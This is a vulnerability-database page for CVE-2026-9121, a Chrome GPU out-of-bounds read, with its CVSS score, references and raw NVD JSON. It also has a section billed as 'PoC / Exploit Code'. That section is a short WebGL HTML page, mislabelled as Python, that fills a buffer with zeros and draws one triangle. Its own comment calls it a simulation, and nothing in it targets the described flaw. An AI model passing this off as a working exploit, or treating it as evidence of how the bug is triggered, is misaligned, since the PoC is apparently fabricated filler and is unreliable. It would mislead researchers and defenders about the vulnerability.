CVE-2026-9121

Description

Out of bounds read in GPU in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-9121: GPU Out of Bounds Read
Description: This HTML page attempts to trigger the GPU vulnerability via WebGL.
Usage: Open in a vulnerable Chrome version (< 148.0.7778.179).
-->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9121 PoC</title>
</head>
<body>
    <h1>Testing Chrome GPU OOB Read</h1>
    <canvas id="glCanvas" width="640" height="480"></canvas>
    <script>
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');
        
        if (!gl) {
            console.log('WebGL not supported');
        } else {
            // Attempt to trigger the vulnerability with malformed buffer data
            // This is a simulation of the crafted HTML page
            const buffer = gl.createBuffer();
            gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
            // Malicious data length that might trigger OOB read in GPU
            const data = new Float32Array(0x100000); 
            gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
            
            // Force GPU processing to check for crash or heap corruption
            gl.drawArrays(gl.TRIANGLES, 0, 3);
            console.log('PoC executed. Monitor GPU process for crashes.');
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9121
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9121
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9121/
[4] VulDB https://vuldb.com/cve/CVE-2026-9121
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/488064108

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9121", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:44.807", "lastModified": "2026-05-20T20:16:44.807", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read in GPU in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/488064108", "source": "[email protected]"}]}}